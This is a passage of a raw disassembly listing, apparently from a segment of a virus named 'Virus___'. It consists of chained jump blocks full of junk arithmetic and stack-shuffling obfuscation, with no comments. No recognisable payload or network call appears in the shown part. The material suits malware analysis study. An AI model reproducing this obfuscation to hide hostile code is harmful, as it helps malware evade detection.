		not	eax
		shl	eax, 4
		jmp	loc_588BCD
; ---------------------------------------------------------------------------


loc_58D027:				; CODE XREF: Virus___:0058698Bj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_57F811
; ---------------------------------------------------------------------------


loc_58D032:				; CODE XREF: Virus___:00584B13j
		pop	ax
		jmp	loc_594342
; ---------------------------------------------------------------------------


loc_58D039:				; CODE XREF: Virus___:0058335Dj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_589B94
; ---------------------------------------------------------------------------


loc_58D044:				; CODE XREF: Virus___:00586623j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59205A
; ---------------------------------------------------------------------------


loc_58D04F:				; CODE XREF: Virus___:00589BDCj
		mov	dh, 0D0h
		add	dh, 0D5h
		push	ecx
		mov	cl, 4Eh
		jmp	loc_58B40E
; ---------------------------------------------------------------------------


loc_58D05C:				; CODE XREF: Virus___:0058CAFAj
		sub	edx, 39351CEh
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebp
		mov	ebp, 6EB0699Ch
		mov	edx, 914F9864h
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	12BFh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_57F741
; ---------------------------------------------------------------------------


loc_58D08C:				; CODE XREF: Virus___:00585859j
		push	ebx
		mov	ebx, 5D3A3775h
		xor	ebx, 70D90054h
		jmp	loc_586924
; ---------------------------------------------------------------------------


loc_58D09D:				; CODE XREF: Virus___:00586C9Bj
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58D0AE:				; CODE XREF: Virus___:005927CFj
		shl	ebp, 7
		inc	ebp
		inc	ebp
		jmp	loc_58BF89
; ---------------------------------------------------------------------------


loc_58D0B8:				; CODE XREF: Virus___:0058400Fj
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 72167879h
		add	ebp, 8DE9878Bh
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_58A3B8
; ---------------------------------------------------------------------------


loc_58D0D4:				; CODE XREF: Virus___:00580E6Ej
		mov	ecx, 4CA21B24h
		xor	ecx, 50AA2D81h
		add	esi, ecx
		pop	ecx
		jmp	loc_58D90C
; ---------------------------------------------------------------------------


loc_58D0E7:				; CODE XREF: Virus___:0058D7AFj
		pop	ebx
		jmp	loc_58B216
; ---------------------------------------------------------------------------


loc_58D0ED:				; CODE XREF: Virus___:00588CAEj
		sub	ebx, 15D73CAh
		add	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		push	edi
		mov	edi, 646C3EE4h
		sub	edi, 34334495h
		add	edi, 13951EC1h
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 6BB629C1h
		push	ecx
		jmp	loc_5936C9
; ---------------------------------------------------------------------------


loc_58D11D:				; CODE XREF: Virus___:00590591j
		add	ebx, eax
		add	ebx, 52DF72C6h
		jmp	loc_586A81
; ---------------------------------------------------------------------------


loc_58D12A:				; CODE XREF: Virus___:00580C6Dj
		mov	ebp, 21A6151Eh
		dec	ebp
		jmp	loc_5944F6
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1Ch
		jmp	loc_592720
; ---------------------------------------------------------------------------


loc_58D145:				; CODE XREF: Virus___:0058D7D7j
		mov	eax, 33475AD5h
		sub	eax, 2C744B22h
		shl	eax, 1
		inc	eax
		shl	eax, 5
		jmp	loc_58EAB3
; ---------------------------------------------------------------------------


loc_58D15A:				; CODE XREF: Virus___:005863BDj
		mov	edi, 6B7440B6h
		push	esi
		mov	esi, 3C482FD2h
		xor	edi, esi
		pop	esi
		inc	edi
		or	edi, 181A7D14h
		neg	edi
		sub	edi, 23EB56CEh
		mov	ebx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_581109
; ---------------------------------------------------------------------------


loc_58D182:				; CODE XREF: Virus___:0058F9F4j
		push	ecx
		jmp	loc_5900CF
; ---------------------------------------------------------------------------


loc_58D188:				; CODE XREF: Virus___:00592147j
		push	esp
		jmp	loc_592888
; ---------------------------------------------------------------------------


loc_58D18E:				; CODE XREF: Virus___:00584E21j
		pop	ebp
		add	ebp, 4
		jmp	loc_58CE12
; ---------------------------------------------------------------------------


loc_58D19A:				; CODE XREF: Virus___:00582FA4j
		movsx	ecx, al
		push	0E4Eh
		mov	[esp], ecx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58D1AA:				; CODE XREF: Virus___:00582D4Bj
		push	esi
		jmp	loc_5910B7
; ---------------------------------------------------------------------------


loc_58D1B0:				; CODE XREF: Virus___:0058A0ABj
		mov	ebx, esi
		pop	esi
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 183D576Bh
		mov	edi, [esp]
		jmp	loc_583F26
; ---------------------------------------------------------------------------


loc_58D1CD:				; CODE XREF: Virus___:00580ED5j
		shr	eax, 7
		xor	eax, 0ED09DF72h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	6CF2h
		mov	[esp], esi
		mov	esi, 44F54992h
		mov	ebx, esi
		jmp	loc_587AE2
; ---------------------------------------------------------------------------


loc_58D20D:				; CODE XREF: Virus___:00589FD5j
		pop	ecx
		jmp	loc_58F42C
; ---------------------------------------------------------------------------


loc_58D213:				; CODE XREF: Virus___:005922C2j
		mov	edi, 0C8473718h
		add	edx, edi
		jmp	loc_5901FE
; ---------------------------------------------------------------------------


loc_58D21F:				; CODE XREF: Virus___:005848F6j
		add	edx, eax
		pop	eax
		jmp	loc_58B005
; ---------------------------------------------------------------------------


loc_58D227:				; CODE XREF: Virus___:00587095j
		xor	bh, 55h
		add	ch, 65h
		sub	ch, bh
		sub	ch, 65h
		pop	ebx
		mov	bh, ch
		pop	ecx
		sub	al, bh
		pop	ebx
		mov	cl, al
		mov	eax, [esp]
		push	esi
		jmp	loc_57F582
; ---------------------------------------------------------------------------


loc_58D244:				; CODE XREF: Virus___:0059090Dj
		push	28A11839h
		pop	ebx
		jmp	loc_58F47C
; ---------------------------------------------------------------------------


loc_58D24F:				; CODE XREF: Virus___:00588965j
		mov	edx, 33B55D3Bh
		sub	esi, edx
		pop	edx
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58EA51
; ---------------------------------------------------------------------------


loc_58D268:				; CODE XREF: Virus___:0057FA67j
		push	297Fh
		mov	[esp], eax
		mov	eax, 35D9351Fh
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, 0CA26CAE1h
		sub	ecx, 321944EBh
		add	ecx, edi
		add	ecx, 321944EBh
		pop	edi
		jmp	loc_58F3FA
; ---------------------------------------------------------------------------


loc_58D296:				; CODE XREF: Virus___:00589EB0j
		xor	eax, ecx
		jmp	loc_593564
; ---------------------------------------------------------------------------


loc_58D29D:				; CODE XREF: Virus___:005935B2j
		add	al, 0F4h
		jmp	loc_57FB7E
; ---------------------------------------------------------------------------


loc_58D2A4:				; CODE XREF: Virus___:0058A9D3j
		push	ebp
		jmp	loc_580CE8
; ---------------------------------------------------------------------------


loc_58D2AA:				; CODE XREF: Virus___:00592807j
		pop	eax
		pop	ebp
		sub	ecx, 6E29347Ah
		jmp	loc_59152D
; ---------------------------------------------------------------------------


loc_58D2B7:				; CODE XREF: Virus___:0058CD22j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	5AAAh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_583806
; ---------------------------------------------------------------------------


loc_58D2D0:				; CODE XREF: Virus___:005839ECj
		pop	ebx
		add	esi, 6A8C0277h
		jmp	loc_57F900
; ---------------------------------------------------------------------------


loc_58D2DC:				; CODE XREF: Virus___:0058A676j
		sub	esi, 709161B8h
		neg	esi
		jmp	loc_58F5AC
; ---------------------------------------------------------------------------


loc_58D2E9:				; CODE XREF: Virus___:00584961j
		xchg	esi, [esp]
		jmp	loc_58CE86
; ---------------------------------------------------------------------------


loc_58D2F1:				; CODE XREF: Virus___:0058CED2j
		and	dh, 0ACh
		sub	dh, 2Fh
		shl	dh, 5
		jmp	loc_588867
; ---------------------------------------------------------------------------


loc_58D2FF:				; CODE XREF: Virus___:0058B060j
		sub	bl, al
		push	edx
		mov	dl, 48h
		jmp	loc_582DE4
; ---------------------------------------------------------------------------


loc_58D309:				; CODE XREF: Virus___:00584EA5j
		pop	eax
		add	al, 64h
		add	al, dl
		sub	al, 64h
		jmp	loc_58830A
; ---------------------------------------------------------------------------


loc_58D315:				; CODE XREF: Virus___:0058CE37j
		add	edx, 4
		push	4AD1h
		mov	[esp], eax
		push	ebp
		push	447E5AEAh
		pop	ebp
		jmp	loc_57F695
; ---------------------------------------------------------------------------


loc_58D32F:				; CODE XREF: Virus___:0057F93Aj
		mov	esi, ecx
		jmp	loc_590054
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_592D3F
; ---------------------------------------------------------------------------


loc_58D353:				; CODE XREF: Virus___:0058F56Bj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	16C8h
		mov	[esp], edx
		jmp	loc_58F3DF
; ---------------------------------------------------------------------------


loc_58D367:				; CODE XREF: Virus___:00584E9Bj
		push	5179h
		mov	[esp], edx
		jmp	loc_58A989
; ---------------------------------------------------------------------------


loc_58D374:				; CODE XREF: Virus___:00581A67j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58A45B
; ---------------------------------------------------------------------------


loc_58D382:				; CODE XREF: Virus___:0058B25Dj
		sub	edx, esi
		pop	esi
		add	edx, 8D065FDh
		pop	ecx
		jmp	loc_592AD8
; ---------------------------------------------------------------------------


loc_58D391:				; CODE XREF: Virus___:00584198j
		mov	ecx, edi
		pop	edi
		sub	eax, ecx
		pop	ecx
		push	4CADh
		jmp	loc_580A1F
; ---------------------------------------------------------------------------


loc_58D3A1:				; CODE XREF: Virus___:0058F2DDj
		push	esi
		push	5108h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_5935EC
; ---------------------------------------------------------------------------


loc_58D3BD:				; CODE XREF: Virus___:00592C5Aj
		push	68802147h
		mov	ebp, [esp]
		jmp	loc_58B9B0
; ---------------------------------------------------------------------------


loc_58D3CA:				; CODE XREF: Virus___:0058C1D5j
		push	edi
		mov	edi, eax
		sub	esp, 4
		mov	[esp], edi
		push	eax
		jmp	loc_5897B7
; ---------------------------------------------------------------------------


loc_58D3DC:				; CODE XREF: Virus___:0058DB6Aj
		add	edx, 5F6C224Ch
		sub	edx, 1
		add	edx, 0B01F23C0h
		mov	ebx, edx
		pop	edx
		push	ebp
		jmp	loc_58CE3C
; ---------------------------------------------------------------------------
		lodsd
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 0BFE4331h
		and	edi, 31B3410Fh
		add	edi, 1
		jmp	loc_5882A6
; ---------------------------------------------------------------------------


loc_58D411:				; CODE XREF: Virus___:00580501j
		mov	eax, ecx
		pop	ecx
		shr	eax, 8
		and	eax, 1A50155Ch
		jmp	loc_57FCF7
; ---------------------------------------------------------------------------


loc_58D421:				; CODE XREF: Virus___:0058CED8j
		add	ecx, 4AC342Dh
		sub	ecx, edi
		sub	ecx, 4AC342Dh
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_591A14
; ---------------------------------------------------------------------------


loc_58D43B:				; CODE XREF: Virus___:005898FDj
		add	ebp, 5BC7077Bh
		and	ebp, 547516B7h
		neg	ebp
		sub	ebp, 0AB9FE94Ah
		jmp	loc_588FB6
; ---------------------------------------------------------------------------


loc_58D454:				; CODE XREF: Virus___:005843D9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_593ACD
; ---------------------------------------------------------------------------


loc_58D464:				; CODE XREF: Virus___:00589156j
		mov	ebp, 2
		sub	ecx, 5CC47D0Eh
		add	ecx, ebp
		jmp	loc_58FC45
; ---------------------------------------------------------------------------


loc_58D476:				; CODE XREF: Virus___:00588ECAj
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 52E5BD3h
		jmp	loc_5854F9
; ---------------------------------------------------------------------------


loc_58D485:				; CODE XREF: Virus___:00591EABj
		mov	ecx, [esp]
		push	1A4Ch
		jmp	loc_58E77B
; ---------------------------------------------------------------------------


loc_58D492:				; CODE XREF: Virus___:0058EDD0j
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_591C64
; ---------------------------------------------------------------------------


loc_58D49C:				; CODE XREF: Virus___:0059249Cj
		mov	edx, 3FD43F71h
		or	edx, 3F080D11h
		push	ecx
		mov	ecx, 24177276h
		shl	ecx, 1
		jmp	loc_582680
; ---------------------------------------------------------------------------


loc_58D4B4:				; CODE XREF: Virus___:00591EEBj
		push	edx
		jmp	loc_58B16A
; ---------------------------------------------------------------------------


loc_58D4BA:				; CODE XREF: Virus___:00590C82j
		mov	ebp, esp
		jmp	loc_583B83
; ---------------------------------------------------------------------------


loc_58D4C1:				; CODE XREF: Virus___:0058933Dj
		sub	esp, 4
		push	esp
		jmp	loc_58AC00
; ---------------------------------------------------------------------------


loc_58D4CD:				; CODE XREF: Virus___:00592E6Bj
		mov	bl, 0
		inc	bl
		shr	bl, 5
		inc	bl
		jmp	loc_57FB59
; ---------------------------------------------------------------------------


loc_58D4DB:				; CODE XREF: Virus___:0058718Aj
		mov	eax, [esp]
		push	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_58128C
; ---------------------------------------------------------------------------


loc_58D4E7:				; CODE XREF: Virus___:00585095j
		mov	edx, 24h
		add	edx, edi
		add	[edx], ebp
		mov	edx, [esp]
		add	esp, 4
		pop	ebp


loc_58D4FA:				; CODE XREF: Virus___:00585130j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 328872B0h
		shl	edx, 1
		neg	edx
		sub	edx, 9AEF1A9Ch
		add	esi, edx
		jmp	loc_5811CC
; ---------------------------------------------------------------------------


loc_58D519:				; CODE XREF: Virus___:00587107j
		sub	bl, 0FEh
		add	bl, ch
		jmp	loc_586628
; ---------------------------------------------------------------------------


loc_58D523:				; CODE XREF: Virus___:00585E51j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_58AE8D
; ---------------------------------------------------------------------------


loc_58D553:				; CODE XREF: Virus___:00589A69j
		sub	ebx, 7AC233C5h
		add	ebx, 0DBD5F36h
		sub	ebx, eax
		sub	ebx, 0DBD5F36h
		push	ecx
		mov	ecx, 7AC233C5h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5846F3
; ---------------------------------------------------------------------------


loc_58D575:				; CODE XREF: Virus___:0059230Fj
		mov	edi, 2D8E5AF4h
		add	edx, edi
		pop	edi
		sub	edx, ebx
		sub	edx, 2D8E5AF4h
		push	dword ptr [esp]
		jmp	loc_58C5CE
; ---------------------------------------------------------------------------


loc_58D58D:				; CODE XREF: Virus___:005880FAj
		mov	eax, [esp]
		add	esp, 4
		sub	[esp+8], edx
		mov	edx, [esp]
		jmp	loc_593CB3
; ---------------------------------------------------------------------------


loc_58D5A2:				; CODE XREF: Virus___:00593995j
		shl	ch, 4
		push	ebx
		mov	bl, 0D4h
		sub	ch, bl
		pop	ebx
		xor	dh, ch
		jmp	loc_587FCF
; ---------------------------------------------------------------------------


loc_58D5B2:				; CODE XREF: Virus___:005854A9j
		inc	edi
		shl	edi, 4
		jmp	loc_58E5BE
; ---------------------------------------------------------------------------


loc_58D5BB:				; CODE XREF: Virus___:005900CAj
		mov	edi, 4
		add	ebp, 0B3F5CDEh
		jmp	loc_583385
; ---------------------------------------------------------------------------


loc_58D5CB:				; CODE XREF: Virus___:0058CC2Aj
		shr	ebp, 5
		shl	ebp, 5
		jmp	loc_58C514
; ---------------------------------------------------------------------------


loc_58D5D6:				; CODE XREF: Virus___:0057FA41j
		push	edx
		jmp	loc_58091E
; ---------------------------------------------------------------------------


loc_58D5DC:				; CODE XREF: Virus___:00580C95j
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_589584
; ---------------------------------------------------------------------------


loc_58D5EF:				; CODE XREF: Virus___:0058AB8Bj
		push	3FE4h
		mov	[esp], ebp
		mov	ebp, 4
		mov	esi, ebp
		jmp	loc_58AF3C
; ---------------------------------------------------------------------------


loc_58D603:				; CODE XREF: Virus___:0057F4DBj
		add	ecx, 0FFFFFFFFh
		sub	ecx, 0D8DF1E29h
		mov	edi, ecx
		jmp	loc_5877BD
; ---------------------------------------------------------------------------


loc_58D613:				; CODE XREF: Virus___:0058F104j
		xor	edi, 0A5BBC526h
		jmp	loc_581657
; ---------------------------------------------------------------------------


loc_58D61E:				; CODE XREF: Virus___:0058AE15j
		mov	al, bh
		pop	ebx
		jmp	loc_59013F
; ---------------------------------------------------------------------------


loc_58D626:				; CODE XREF: Virus___:00587FE2j
		add	edx, esi
		pop	esi
		add	edx, ebp
		jmp	loc_5855C7
; ---------------------------------------------------------------------------


loc_58D630:				; CODE XREF: Virus___:0058FE1Cj
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_581A64
; ---------------------------------------------------------------------------


loc_58D63C:				; CODE XREF: Virus___:00585DB9j
		push	ebx
		mov	bl, 81h
		xor	bl, 10h
		sub	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		add	dl, bh
		add	dl, 91h
		jmp	loc_584161
; ---------------------------------------------------------------------------


loc_58D657:				; CODE XREF: Virus___:005882CEj
		pop	ecx
		add	esp, 4
		jmp	loc_589527
; ---------------------------------------------------------------------------


loc_58D660:				; CODE XREF: Virus___:0058DC32j
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 6E845100h
		jmp	loc_5840FA
; ---------------------------------------------------------------------------


loc_58D66F:				; CODE XREF: Virus___:00590AB7j
		push	esi
		mov	esi, 4
		sub	ebx, 1B875C3Fh
		jmp	loc_59100D
; ---------------------------------------------------------------------------


loc_58D680:				; CODE XREF: Virus___:0057F8DDj
		mov	edi, 9708EB7Ch
		xor	ecx, edi
		pop	edi
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], edx
		mov	edx, [esp]
		jmp	loc_587504
; ---------------------------------------------------------------------------


loc_58D69C:				; CODE XREF: Virus___:00588E8Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_593FBF
; ---------------------------------------------------------------------------


loc_58D6A8:				; CODE XREF: Virus___:0058E546j
		add	esp, 2
		xor	[esp], ax
		xor	ax, [esp]
		xor	[esp], ax
		jmp	loc_58D9C6
; ---------------------------------------------------------------------------


loc_58D6BF:				; CODE XREF: Virus___:00582E77j
		sub	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	837h
		jmp	loc_593237
; ---------------------------------------------------------------------------


loc_58D6D3:				; CODE XREF: Virus___:0058B26Aj
		mov	ebx, 32611907h
		neg	ebx
		xor	ebx, 0CD9EE6FDh
		add	esi, ebx
		pop	ebx
		add	esi, 4
		push	7D70h
		mov	[esp], edi
		push	221Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_58F45B
; ---------------------------------------------------------------------------


loc_58D700:				; CODE XREF: Virus___:005836BEj
		sub	esi, 0C261C7C3h
		add	edi, esi
		jmp	loc_587B2D
; ---------------------------------------------------------------------------


loc_58D70D:				; CODE XREF: Virus___:0057F490j
		pop	ecx
		sub	esi, 4
		push	76DAh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_590BD7
; ---------------------------------------------------------------------------


loc_58D726:				; CODE XREF: Virus___:0058ADCEj
		pop	esi
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_592793
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6BA2h
		mov	[esp], ecx
		push	0ECh
		mov	[esp], ebx
		jmp	loc_586427
; ---------------------------------------------------------------------------


loc_58D751:				; CODE XREF: Virus___:00587004j
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58EAD2
; ---------------------------------------------------------------------------


loc_58D766:				; CODE XREF: Virus___:0059240Fj
		push	edi
		mov	edi, 666B6EDBh
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ebx, 4
		shl	ebx, 3
		push	ecx
		push	4F446F4Dh
		pop	ecx
		sub	ebx, 5D6813ECh
		sub	ebx, 0E8727CCh
		sub	ebx, ecx
		add	ebx, 0E8727CCh
		add	ebx, 5D6813ECh
		pop	ecx
		push	esi
		mov	esi, ebx
		mov	ecx, esi
		jmp	loc_58C944
; ---------------------------------------------------------------------------


loc_58D7A9:				; CODE XREF: Virus___:0058F9CAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58D0E7
; ---------------------------------------------------------------------------


loc_58D7B4:				; CODE XREF: Virus___:0058C8B5j
		pop	eax
		mov	eax, ebx
		jmp	loc_582F1E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	7BCDh
		jmp	loc_590CC8
; ---------------------------------------------------------------------------


loc_58D7CB:				; CODE XREF: Virus___:00587B53j
		mov	[esp], edi
		mov	edi, 305712E9h
		add	edi, 0FFFFFFFFh
		push	eax
		jmp	loc_58D145
; ---------------------------------------------------------------------------


loc_58D7DC:				; CODE XREF: Virus___:0058CFEDj
		sub	ebx, ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 8D1569Fh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebp
		sub	ebx, edx
		add	ebx, 78EB471Bh
		pop	edx
		push	1CF3h
		mov	[esp], edx
		mov	edx, 0
		add	edx, ebx
		jmp	loc_5843EB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58E975
; ---------------------------------------------------------------------------


loc_58D817:				; CODE XREF: Virus___:0058ABEDj
		xor	[esp+4], ebx
		jmp	loc_5828A4
; ---------------------------------------------------------------------------


loc_58D820:				; CODE XREF: Virus___:0058AD63j
		xor	ecx, eax
		not	eax
		xor	ecx, eax
		jmp	loc_584058
; ---------------------------------------------------------------------------


loc_58D82B:				; CODE XREF: Virus___:005861DEj
		push	ebx
		mov	ebx, 241B2753h
		not	ebx
		jmp	loc_58FFDE
; ---------------------------------------------------------------------------


loc_58D838:				; CODE XREF: Virus___:005883FDj
		sub	edi, 1FAFEFB5h
		jmp	loc_5944E4
; ---------------------------------------------------------------------------


loc_58D843:				; CODE XREF: Virus___:00586A3Aj
		mov	edi, 4
		add	edx, 3A485A2Bh
		sub	edx, 4BD0B18h
		add	edx, edi
		jmp	loc_59033C
; ---------------------------------------------------------------------------


loc_58D85B:				; CODE XREF: Virus___:005807D2j
		sub	eax, esi
		pop	esi
		jmp	loc_58A2EB
; ---------------------------------------------------------------------------


loc_58D863:				; CODE XREF: Virus___:00590D7Dj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58E447
; ---------------------------------------------------------------------------


loc_58D872:				; CODE XREF: Virus___:0058B802j
		neg	ebx
		push	ebp
		push	edi
		jmp	loc_5826CF
; ---------------------------------------------------------------------------


loc_58D87B:				; CODE XREF: Virus___:0058963Fj
		mov	ebx, 24h
		sub	ebx, 2FA176A2h
		jmp	loc_583E54
; ---------------------------------------------------------------------------


loc_58D88B:				; CODE XREF: Virus___:0058319Ej
		add	esi, 968EAD4Eh
		add	edi, esi
		pop	esi
		push	ebx
		jmp	loc_586174
; ---------------------------------------------------------------------------


loc_58D89A:				; CODE XREF: Virus___:005892D1j
		pop	edx
		jmp	loc_586C98
; ---------------------------------------------------------------------------


loc_58D8A0:				; CODE XREF: Virus___:00581FD8j
		push	ebp
		jmp	loc_587E6F
; ---------------------------------------------------------------------------


loc_58D8A6:				; CODE XREF: Virus___:0058C869j
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58D8B2:				; CODE XREF: Virus___:0058B82Bj
		sub	eax, 4A8D6D28h
		jmp	loc_581C49
; ---------------------------------------------------------------------------


loc_58D8BC:				; CODE XREF: Virus___:00591BC2j
		add	ebp, 888F4926h
		jmp	loc_583F75
; ---------------------------------------------------------------------------


loc_58D8C7:				; CODE XREF: Virus___:0058AE24j
		add	esp, 4
		jmp	loc_593576
; ---------------------------------------------------------------------------


loc_58D8CF:				; CODE XREF: Virus___:0058C9EDj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_593A60
; ---------------------------------------------------------------------------


loc_58D8DD:				; CODE XREF: Virus___:0058C28Ej
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5906E8
; ---------------------------------------------------------------------------


loc_58D8F5:				; CODE XREF: Virus___:00590810j
		pop	ebp
		add	edx, esi
		pop	esi
		jmp	loc_58DE37
; ---------------------------------------------------------------------------


loc_58D8FE:				; CODE XREF: Virus___:0058E0B2j
		mov	[esp], edx
		mov	edx, 4191384Ch
		inc	edx
		jmp	loc_583CB3
; ---------------------------------------------------------------------------


loc_58D90C:				; CODE XREF: Virus___:0058D0E2j
		add	esi, ecx
		push	edi
		mov	edi, 60AE2B10h
		xor	edi, 4160745h
		xor	edi, 349C0B4Dh
		jmp	loc_593852
; ---------------------------------------------------------------------------


loc_58D925:				; CODE XREF: Virus___:0057F849j
		add	ebp, edi
		sub	ebp, 54184398h
		pop	edi
		push	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_588743
; ---------------------------------------------------------------------------


loc_58D93A:				; CODE XREF: Virus___:0058DC3Fj
		and	esi, 3F503D0Bh
		shl	esi, 6
		xor	esi, 49F334ABh
		add	ebp, esi
		pop	esi
		and	edi, ebp
		jmp	loc_5881E4
; ---------------------------------------------------------------------------


loc_58D953:				; CODE XREF: Virus___:00584980j
		push	dword ptr [esp]
		jmp	loc_58C4A7
; ---------------------------------------------------------------------------


loc_58D95B:				; CODE XREF: Virus___:00582372j
		add	eax, 637C4299h
		add	eax, ebp
		sub	eax, 637C4299h
		mov	ebp, [esp]
		push	ebp
		jmp	loc_584209
; ---------------------------------------------------------------------------


loc_58D970:				; CODE XREF: Virus___:00588B34j
		push	edi
		push	22B4574Bh
		pop	edi
		and	edi, 37AA0A31h
		jmp	loc_5884C5
; ---------------------------------------------------------------------------


loc_58D982:				; CODE XREF: Virus___:00581F37j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58089D
; ---------------------------------------------------------------------------


loc_58D98D:				; CODE XREF: Virus___:00589E3Bj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		push	eax
		mov	eax, 3EB2311Eh
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [edx+30h]
		push	edi
		jmp	loc_592863
; ---------------------------------------------------------------------------


loc_58D9B7:				; CODE XREF: Virus___:0059178Cj
		pop	eax
		push	2123h
		mov	[esp], edx
		push	ebp
		jmp	loc_58B891
; ---------------------------------------------------------------------------


loc_58D9C6:				; CODE XREF: Virus___:0058D6BAj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58D9CB:				; CODE XREF: Virus___:005905A0j
		mov	edi, 2AA6AAE1h
		push	ebp
		jmp	loc_58852F
; ---------------------------------------------------------------------------


loc_58D9D6:				; CODE XREF: Virus___:0059308Cj
		pop	edi
		jmp	loc_57FE57
; ---------------------------------------------------------------------------


loc_58D9DC:				; CODE XREF: Virus___:0058A8C6j
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	0C74h
		mov	[esp], eax
		jmp	loc_58F01E
; ---------------------------------------------------------------------------


loc_58D9EF:				; CODE XREF: Virus___:00582D2Dj
		shr	ebp, 5
		jmp	loc_586BCF
; ---------------------------------------------------------------------------


loc_58D9F7:				; CODE XREF: Virus___:00592E35j
		mov	ecx, 7F10605Eh
		not	ecx
		inc	ecx
		sub	ecx, 464946BAh
		add	edi, ecx
		pop	ecx
		pop	ebx
		mov	edx, edi
		jmp	loc_583913
; ---------------------------------------------------------------------------


loc_58DA10:				; CODE XREF: Virus___:0058F3F5j
		dec	edi
		jmp	loc_592C09
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 7660E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DA22:				; CODE XREF: Virus___:00584726j
		mov	bh, 67h
		or	dh, bh
		pop	ebx
		push	4665h
		mov	[esp], ecx
		push	dx
		jmp	loc_58CA2E
; ---------------------------------------------------------------------------


loc_58DA36:				; CODE XREF: Virus___:00582F45j
		add	eax, ecx
		sub	eax, 0BAC41CDh
		add	eax, 12153EC3h
		pop	ecx
		push	eax
		push	ecx
		jmp	loc_58C542
; ---------------------------------------------------------------------------


loc_58DA4A:				; CODE XREF: Virus___:0058163Fj
